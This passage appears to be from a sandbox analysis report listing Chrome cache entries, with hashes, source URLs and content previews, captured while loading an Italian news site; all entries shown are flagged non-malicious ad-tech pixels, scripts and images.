Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Attention Required! \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded', f

Chrome Cache Entry: 598

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=46&external_user_id=3287041831475129344
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 599

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
URL:	https://pr-bh.ybp.yahoo.com/sync/openx/b909db4d-d54f-a0d6-5870-40e17f4eebae?gdpr=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 600

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	977
Entropy (8bit):	5.131980187657942
Encrypted:	false
SSDEEP:	24:2zvYusFDqtmD+/2OvgIIoVNPahN1eGdYcPRzB0s0IhRiGS:ivYvFDq+XDmPahvh1PRzBp0yRJS
MD5:	EB0E371DFEDC1FD864DF93A229D13CBD
SHA1:	523692E08EE0AA38DACC11CEE186B0F9A7AB0CEC
SHA-256:	303239E924FCEEB1F72F8D1AC04B9BA3DD85FECEB27841D12734DCD18F98C80B
SHA-512:	195D581A6884F528B464D561758D9942D06EC85DE147BEF267C19B55481C64D4973C79777714FDA25EFEAD32D3E8A519EC628F28E0E23DE127B64D305EB3B724
Malicious:	false
Reputation:	low
URL:	https://js.tncid.app/09_nielsen.js
Preview:	(function (sn, asap) {...var tnc = this && this.addTPScript ? this : window[(document.querySelector('script#tnc_core') \|\| {}).global \|\| '__tnc'];...tnc && tnc.addTPScript ? tnc.addTPScript(sn, function(){....var promise;....try {.....var tncid = this.tncid \|\| ''......, eid = this.eid \|\| ''......, vendorendpoint = `https://loadus.exelator.com/load/?p=1541&g=1&buid=${eid}\|${tncid}&j=0`......, options = {.......height: 0,.......width: 0,.......tabindex: -1,.......'aria-hidden': true,.......style: 'position:absolute!important;top:0px!important;left:0px!important;width:0!important;height:0!important;border:0!important;'......}, body = document.querySelector('body');.......if (!tncid && !eid) {......promise = Promise.reject('Missing tncid and eid');.......} else {......promise = this.loadIMG(vendorendpoint, options, body);.....}....} catch (err) {.....promise = Promise.reject(err);....}....return promise.catch(console.log);...}, asap) : null;..}.bind(this))('nielsen');

Chrome Cache Entry: 601

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	11794
Entropy (8bit):	7.943284736657115
Encrypted:	false
SSDEEP:	192:AQxbGfcG0MrjagBZJsjJ0cnRJR8SUbFIBpuMAoEYQ6it1fvtlWmXyTq9YHcepTIm:AIYjXBZJS6cR/8n5RMKYQNHtsT8Y8epl
MD5:	4A1A52CC5A247A1F7D837EC203D53F3D
SHA1:	E584672F8C8362C32DB6BDF902E4D02BF9D88D57
SHA-256:	EFF3EF2A575A364734D849D7586B00EBA9A7A36C677FAAF13E7ACCE548DB1DA7
SHA-512:	5C8E21C39367332620AD7684D381E8A11CE977EEB01F96432256EEA6F4B379B982E7AE7672EEA69EF35D45A5F4FCFA79EA87AFE10538B9664C284246B36453F9
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................#...!....).!$%'('..+.+&.#&'&...C...........&...&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&........D.."...............................................................................5h.}....!..s.C.I.0d..".I.%./..Mq.kKn....iyS...g..s.c..;.U].B..FI.PH..W..\:..$t..... $.a..p.\....Nh!...B.0..n7KC........e.!...2..V..`...4........)(.vHl...E.A....#.c.@.pe)..K...g....j..E...;...tRJ.... ..$W.=....... .......F...(...,f.\|..J.+...:9.YOS.....v...s.e%...p..F\|.....954..;R..JF......9...E.B.j...V.]...S.....b._..t..f.../s...;S........u..4....p.-...WF.u..`.X.&.....[..........I...'..mN..C3......:.-Lxp.T...W...q.i.k..v.Z5...Z..<....H4[.Y3 t.L.O.a.JcR.)..,.."8....lvm.C.....oW8.M<./C#c.*...t......!.U.I....tzY.oC.P.H.gM$...SR....I...1! &.&..N.zx....zD..r...]....:..4......JY9L%..j....7.g...v.$......BS......9.[:I.FB&.6.L...e.....A....Rh...7=....O....\|..w.:.Y...}...j.cp..%.2wd.....e^......

Chrome Cache Entry: 602

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	14282
Entropy (8bit):	7.9554649137177
Encrypted:	false
SSDEEP:	192:9IzanCeqAAAejBZkVNlD+VhfAsiaHmoPzK9hYyBR/KYzZf0Bjw3ZcUNdwb271WUG:93CeI4lK1AsiRayBNlz8GZbl7AUGn
MD5:	EE8682DA73AB9B3B83A3DDCA8B324634
SHA1:	F5E722D649E02989078343402D2672B8A99956BE
SHA-256:	65F0AB2AA9157B85A9B1CC18263486D9D49C8C72F4FB3CB1A37CF706AE8FCC57
SHA-512:	53B230320D360BC31187BF0E87CC03742415228F253848924D8C8E68AB3286F1E924C994C12D7037F38417E3AB71F72D72A62432E9AD856B1249EE0E2AB1CB07
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D.."................................................................................J8g....J.N....m/P.,...-c..:`..:R U.[)q.....[`&..:.N....o4n..f9.YfC.2....W..0.5,.K.;.U..5h.P.pd...j..;.`.N].z.y.X......A..dM.U._n....]."..dp.A..AB..9.Z. E.C-l1f_4.s...Un.J1DVr.4.}.).b.^.l.f...!&...B.g+...s.K..;.9..8.8..$.C..r..^.Y..{.2...D.{7..QXs.'2.7..6...x........ .3.S..Nc..;...w.;.3#./<.=.#.C2....97Mz(J.V.SX.O.h.Y..d..l...2.%+.y..;3."....M.;.m...G.....q.....(..\.G[W....+...%.W....^...h....<..kI,...%......u..Gs.P.v.I"..k.eV..d..k+.j..p...".l...#.ZR.f..qVVb6.J }x.J.M:..=...,.}.........'..:E5.ON}......(.U..d.m..."..3{..b......).....P .....y.4S...F`9F..d..s.x6.....3.+".=`{/A.<..s..{.K.&O.T..l}J...K...g.+b..R ...E.(.....2J."...c/CYWd.]\|...B..,.-.S...m........&..,c...y..s.

Chrome Cache Entry: 603

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://spl.zeotap.com/?zdid=1332&zcluid=6bd41f9c33192613
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 604

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1166
Entropy (8bit):	5.246540418308923
Encrypted:	false
SSDEEP:	24:2zvYusFDqSw1+Y4IAAgm+EYy1coVNPahN1eGdYJVPRhB0s0IhRiGH:ivYvFDqfpiXmblcmPahvhWPRhBp0yRJH
MD5:	C04EB817E7B009582317F09F1B653502
SHA1:	94E0E6B47A84D40ECCE5295F9C10C084B1A6B655
SHA-256:	03EA3ADB1C76D6EE7CEC789319A313F5CCDD0511F700202EDDF88A22E37ACE74
SHA-512:	879659FE83D4749BFB13826E82F3D124303DCECABD94E133D9D1B434DADED5C1CDFC12C18223C6637D4936833033405B5F63CFF716A52B67DD4AEC6A81BFE491
Malicious:	false
Reputation:	low
Preview:	(function (sn, asap) {...var tnc = this && this.addTPScript ? this : window[(document.querySelector('script#tnc_core') \|\| {}).global \|\| '__tnc'];...tnc && tnc.addTPScript ? tnc.addTPScript(sn, function () {....var promise;....try {.....var tpid = 'a0f846a5-be22-4884-b857-fa3a0cda1601'......, eid = this.eid \|\| ''......, tncid = this.tncid \|\| ''......, tncendpoint = `https://im.tncid.app/gif?eid=${eid}&tncid=${tncid}&3puuid={WEBO_CID}&3pid=${tpid}`......, vendorendpoint = `https://redirect.frontend.weborama.fr/redirect/standard?url=${encodeURIComponent(tncendpoint)}`......, options = {.......height: 0,.......width: 0,.......tabindex: -1,.......'aria-hidden': true,.......style: 'position:absolute!important;top:0px!important;left:0px!important;width:0!important;height:0!important;border:0!important;'......}, body = document.querySelector('body');.....if (!tncid && !eid) {......promise = Promise.reject('Missing tncid and eid');.....} else {......promise = this.loadIMG(vendorendpoint, option

Chrome Cache Entry: 605

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65354)
Category:	downloaded
Size (bytes):	96004
Entropy (8bit):	5.274683121744756
Encrypted:	false
SSDEEP:	1536:duJA48KogwpmzkCwVk9gA6mFwTKNhuDQo/hGpeOn/cN:xqwpbkiA6mfnpeaG
MD5:	3AF4D03948A8CF4BA1006EFF4B55AA60
SHA1:	9596FBC5DE70DC37BFAB277C6D989E0F551867C3
SHA-256:	ED3DC50AA8E28EA856D113DFBD2BD12DBB09CEB4381F2BDF8DBA7B14B2A00108
SHA-512:	50AF65CAD3DC3C289EF3AA21CD4C1CBE6165D51AD4DE4448E1006F3CE8637F91D1E0A421C8748667466C17D3D1F1FD170563339E521C7EB5DD97CB9578ED88BE
Malicious:	false
Reputation:	low
URL:	https://static.criteo.net/js/ld/publishertag.prebid.136.js
Preview:	// Hash: eMYEaEeUSUZGQCr4GiVU/1qDSBVsN9OtdNYDPWA2zlZPpmhHaAJd/fiYc78jMPlDWrY3ZVELhfcfzAPYHG6BjDU9n0wPs8e3bgvMv54AQ0yPuy0XmfZF8/k1QHhrnbghXZ99Yy8o2FlpUtiKKpmGILN8oXh+Qu81x31oynpqLkY=.!function(e){"use strict";var n=function(e,t){return(n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var i in t)t.hasOwnProperty(i)&&(e[i]=t[i])})(e,t)};function t(e,t){function i(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}var D=function(){return(D=Object.assign\|\|function(e){for(var t,i=1,n=arguments.length;i<n;i++)for(var r in t=arguments[i])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function i(e,t){var i={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&t.indexOf(n)<0&&(i[n]=e[n]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var r=0;for(n=Object.getOwnPropertySymbols(e);r<n.length;r++)t.indexOf(n[r])<0&&Object.prototype.pro

Chrome Cache Entry: 606

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "CookieSync.html", last modified: Thu Oct 20 08:45:22 2022, max compression, from Unix, original size modulo 2^32 435
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	7.215064843997482
Encrypted:	false
SSDEEP:	6:Xp+8u29cGd3D7Efhc9wjywzKYCSMUtdKD9SDrQbXHSb:Xp+tb83D7zaugMUtMQeXO
MD5:	C75E63BA579186D29CFAEF2184D13143
SHA1:	E34302A0CF90CB684CAF7E775EC56189B139C175
SHA-256:	8E09B9E2F4EC48876453311AFB5E5DE8B059A52EB50C1FA01166940CAFC85B27
SHA-512:	3C9F9FA6E49985A1D544F6CA4594712BECFFDF2E04EE479A2AF9CBE2AACC3CEBF0BECFE4F4E27250EEBA9D78A76379481575FC996137DE562063CFFCCDB73D61
Malicious:	false
Reputation:	low
URL:	https://csync-us.smartadserver.com/2161/CookieSync.html
Preview:	......Qc..CookieSync.html..Q.N.0....&..x....4a..6...:.R...1....f..yo.q.t./.....m%.c...v.9...0.3..y.Np.4.,.Sg,J.Vl3.L..v!..\|^.b.<..R....x.z.. 5...M....P.z.$Ii.Up..0.H..~.H.\.#.,..wu.%.(?d!.[.%.G.w6....Z....^DS.l..F..]..o....[@..v..}..L......

Chrome Cache Entry: 607

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 218x150, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	7684
Entropy (8bit):	7.974635709440122
Encrypted:	false
SSDEEP:	192:wvjQcYkycKtPNGSvLwpo/gVDczE3T/5ZIrn7/dcVoCKZj:yYxcKZ4SDldzEVZABWoCKZj
MD5:	12ACE39A4F4BC70D5B526495803B1913
SHA1:	1FB017D7DDB00AD78D988213E7C144C72BF08D52
SHA-256:	460A99D2B4876B637C4CD4DF1D8D75A1F2C35405B9AEEE517363F86716693C4B
SHA-512:	074FBEFB37B949A3F5A8297F36E8EB1EE0994B07731FE6B804C04E2E51AE79BB90A4127CFB5863574188A1C6BE6BC0610D80F0DFBC25A9238AFEACF6252B3A1D
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg?resize=218%2C150&ssl=1
Preview:	RIFF....WEBPVP8 .....r.......>m..F."..,4.8...b.........]...9.c7.../.../ao..<.a.`.b.....M...._./`.._.z..<.?u~..r.r}....Tq.....R._.....3G..}...._.>..U.;./....=7...y.[.O.;..........~r.........W.O..........7......M?X.....u....d....Z..g......a./.........i.X..z6$%5.qi.v@.V.s.5&.].@F^......w.H-...............s...y.f.....N..,w P.j..V....Z..qWGJ....._e(..r.Q...K.k'..l\...X\|..P.R...E.a....ql...`Z\|w....,..g.ee8).q0..._..Q.f.R.h!-.sNm.J.P..m..m.}.n0.....6.~#&.3?...^.9..OYF9{<<n.E;hR.(.F.5.F...S.gwqR..r..... ..FZZ...DK.2@.x(. w.......^.m..eTx.P.....E..2.~.....3=Z&......PaT(.yb._i...{..%Dk.f.S.....I....I....(z0.*....i<`7..D.)....<..[..dkh.L...E.c.._l".?{...K....7G.Y...9 ..P/Y.V.eE...q>..l.......&Q..x.W...7..l...s....Y.X..g.}..D>.>@2B........dCD%.9vU.=k:.......rdy.'..+mk...h..5.Y..>...wV......ZK..d.....&U..B...(y.O..S..d..nW.u...u...J......4.......M\4.s..^...x.U..4{uU..g..W...k...n+.PH.y}O..v.....A-.l.....u;...H.....Hk.C.,3>.P..lkE.Fo0x.i=9...}..O......y;...5.F...N

Chrome Cache Entry: 608

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	5752
Entropy (8bit):	7.961190987352613
Encrypted:	false
SSDEEP:	96:KN5/OF1Rj5GZODr2ygwpI/DUR3/Reii6VnQyzqDYJczzCIGSTMYU5:KNFklGZOJgcBRk69Q3pzqOU5
MD5:	BEFCC0C9AFCFDBDBCC85C7B699DE4825
SHA1:	6E873C60C95D3DF7B8DC7252DC5C15CAB4975473
SHA-256:	97DC4FE16A5AAD24432E5CE1F9E400BABFA320CCDD633517D0B722197EEC5C60
SHA-512:	48C6711E4CA6272124BA0BC9E25AC59BDE2E673E6FE7D107B0BA45B2EF5A52268B87AAAE0C0E1EAE6C6320AA9F0906A5A6FA391EDD2507230636B4597FDC0B33
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/20240326_2141.jpg?resize=324%2C160&ssl=1
Preview:	RIFFp...WEBPVP8 d...Pb...D...>m6.H$#"%..:....M....0.....\|.W...:,..e.....3.w.?0....b?_?s=.........O./Zo.7.'..w./...........^.....=-......W...zW./P.h...=....C.....o..T..........^.6.........?...~N\|......?.._...u..x..$..\t..9.+r,.l.!.0.U}j..?..+....m...#..v@......?.]..a.E..%x.....t5..l..i.!....L.4KE...\|...h`.L&,V..s.W..nQfa....4.v2..j..F.......#.E.$...u.P.+.w.."=.w.DF.?. w."A.5..e..u......-.. ..i.../.&7..m.......]\`..\|}.:.p2.....Z.9c...O..}.h.b.F.G.C.LJ..j9..Sq...Y.j.s.(..$j.(.~\|g..c>Y..R.....Oy.,.3H\.i.YUY...-.....SL."..../..a..B...-..a.......t....hc+.hWf.cGbo_...Go}....X5.C.^..Z.g..O8.......{....F%B.H..U....:.a.U.o..}../.R..[.k.Y._...oc....=..G+.%..HW..AR...~.I.].].$.J,./.q97..y......>-...T.`...g\....c....@..v..J...w...X..-......@.y.\...^.h.14.%.R\....@........{....#....8....&..a{..u...0.\.....%.m.-)u7I.. }7<..-F.........64.."@..V...i.8%_.i.d.)X.(..+i8.....~h..&h.X.#...=O!f^....K.y.\......#.M......^...<= ...-t.....Txk...V.nE

Chrome Cache Entry: 609

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://bpi.rtactivate.com/tag/?id=20909&user_id=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 610

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65439)
Category:	downloaded
Size (bytes):	94098
Entropy (8bit):	5.280310617037023
Encrypted:	false
SSDEEP:	1536:Pp2V/B6AagK0ldPnc73SQaZx/dOGLN6nnXvlWO7qdIZc/YImpi:h25agK0lNnc7laZl4XdWOLcAI5
MD5:	F162F0B97C89DA6502A32C3C1206D74E
SHA1:	A44D682E6C439F72BA35F34EF1432EDEC2A6EE52
SHA-256:	80E66296A0E785E3CC19809ED93B74703D7E768C03D2EADA3BADCA52DD27EF64
SHA-512:	3F014610D3CFABA3A74DB0806A0821A59765AD096B5AF124B6B39BB3F51698BECDA21ED4DBD59F69956F074248A02A691BE2D2E3083589DDA434F61802954E90
Malicious:	false
Reputation:	low
URL:	https://cdn.id5-sync.com/api/1.0/id5-api.js
Preview:	/*. @id5io/id5-api.js. * @version v1.0.63. * @link https://id5.io/. * @license Apache-2.0. */.!function(){"use strict";function i(t,e){var r,i=Object.keys(t);return Object.getOwnPropertySymbols&&(r=Object.getOwnPropertySymbols(t),e&&(r=r.filter(function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable})),i.push.apply(i,r)),i}function d(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{};e%2?i(Object(r),!0).forEach(function(e){l(t,e,r[e])}):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):i(Object(r)).forEach(function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))})}return t}function c(e,t,r,i,s,n,o){try{var a=e[n](o),c=a.value}catch(e){return void r(e)}a.done?t(c):Promise.resolve(c).then(i,s)}function s(a){return function(){var e=this,o=arguments;return new Promise(function(t,r){var i=a.apply(e,o);function s(e){c(i,t,r,s,n,"next",e)}function n(e){c(i,t,r,s,n,"throw",e)}s(void 0)})

Chrome Cache Entry: 611

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?zpartnerid=660&env=mWeb&zctry=USA&zdid=648&cid=aUteLEwDe1Fcr8y82LM3SpLZlbeL32dp%2BS41iYitP1U%3D
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 612

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (603), with no line terminators
Category:	downloaded
Size (bytes):	603
Entropy (8bit):	5.368778816730594
Encrypted:	false
SSDEEP:	12:fXffqMmQiR9uYa780nbYKl+71SQyHnbAt8aVew6Z7RtNAo15DRW4q/iQm/1nfJo:fXffSRkYa77YKlW1jKbi8aVe9bXX1pRk
MD5:	BD29158B88AF2E48DE0651DB1987E08B
SHA1:	BCA50D30122D9A0B9CCC59A5C6B41893457F6FCE
SHA-256:	2DD2A3BCA312C3197005F7A81C47F02FB33285A1FA660F184FCA9AD35C9A906F
SHA-512:	6D1026C9D5321FCD749296E3C88ADE0D91D47D5DA9B7F6736F2F4F4ABEFED40A4A45BA26F66DD103565024D0C3E21121B384D7A7B3A89F66948031376AD13BB3
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/979.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[979],{979:(e,a,r)=>{"use strict";r.r(a);var t=r(845);const{LoggerSour:c}=t.t,s=new c("ThirdParts > Liveramp");!function(){window,s.log("Liveramp - Init");let e="<span id='sour-liveramp-scripts'>";e+=" <script async defer src='https://launchpad-wrapper.privacymanager.io/8b0c9ead-8934-45cd-84f5-3219dc4e4700/launchpad-liveramp.js'><\/script> ",e+="</span>";var a=document.createRange();a.selectNode(document.getElementsByTagName("head")[0]);var r=a.createContextualFragment(e);document.body.appendChild(r),s.log("Liveramp - Load script",e)}()}}]);

Chrome Cache Entry: 613

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1007 x 1007, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23963
Entropy (8bit):	7.698705035272933
Encrypted:	false
SSDEEP:	384:3hGzX1I500kgcCVM2PreUKIsNFUjZbarlvRuNwYrwbzmdxl0Sc8ADuSCKdO9klVu:3c00cVbClNUxqY7+zmdxSQyGKSkjlQj
MD5:	0D9C5E7A80148345316E3A7CACE7FC1F
SHA1:	289B7FEE787F17F6099848FD65035FB6A6EFA332
SHA-256:	FF42540CC3650FF5F0E89F1B9A5BB4ABD00B0CEDABF26BCE5F992D46D9485F0E
SHA-512:	B0974F1F72CC9D3ECA312C38A64892E31129E8A3E5F83C6606936989217EE72AED1F2ECE2B33851E1E466DAFA4C41550949E15D3E850E9979A2F27236F057B6D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............z.%....pHYs.........O%.....$zTXtCreator....sL.OJUpL+I-RpMKKM.)..Az..jz.... .IDATx....u..6.]w...D`}..D.!.L..D`..".L...9... Ep....A}?..e#[......YK....{N[..]oWE........................................................................................................................................@sJv....I.u..W.q^J..M....\|....~.C.u[k=...d.....U.......\.Z..Z7.y...`uj..=..]...........hw...qUw.....o..7.}.a...\|.j~..O..[...!l\|.<........:D.._.:".c7......_......@u.}......w....u.}.......(@..;....Hu.}..q..]..Cn........Z...5;.....V......4V....w.P.w......>.......x..;...:..Ou..\|....cx.........i...w.0.;.......x..w....4......-.......[..\|.w..Vm.u.}........X.Z.ED<....J)..C...Ov....Rk=......q......;...Tk}...e...6...V...X.mv...bp.<V...X....sv..\.R.g..53....*..{Q..dj.....6;@g...V...X.u......w..VA]~/.....y...b...3....+...,...d.....;.......uyh..<..K.....uyh..w...K]~2uyh.....ER...<4Jm.....f..<4..;.....?..<4.........E]...6....l..tF].:`.....P..L].:ax..`........P...

Chrome Cache Entry: 614

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=81&gdpr=0&external_user_id=enSpXX4k-FxhdKoLLXe0XXtx-FlhIfhReCakvuYl
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 615

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	65
Entropy (8bit):	4.798538966541769
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCfRxYLNHW9/cn:TMVBd/RxIVgc
MD5:	F0D3EB53FB1F41DD312F1F5696C7124D
SHA1:	CF74E93D6E8F3BBC956805317FA1209AED9806A2
SHA-256:	A9179676206755FBDCAF25D2C0958CF0EF14C8A787F38C966B9DBD8013B919F0
SHA-512:	20A20C9396F2A3F85AB48FA78D001EA4C884ACEDFA3F878090A3C4EDE29EC27768DC9A77F9BBF6D6C8BC4ED6631C1D1E9F7BD3A9B31BCAE04E3B4473B9FFE5DB
Malicious:	false
Reputation:	low
URL:	"https://service.bidlab.ai/?c=v&m=tag&placementId=178&videotype=VPAID&wPlayer=535&hPlayer=301&ip=102.165.48.43&ua=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F117.0.0.0+Safari%2F537.36&domain=bsnews.it&page=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&secure=1&language=it&bidfloor=3&gdpr_consent=&gdpr=0&schain=1.0,1!movingup.it,109,1,,,!showheroes.com,1172,1,,,"
Preview:	<?xml version="1.0" encoding="UTF-8"?><VAST version="3.0"></VAST>

Chrome Cache Entry: 616

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
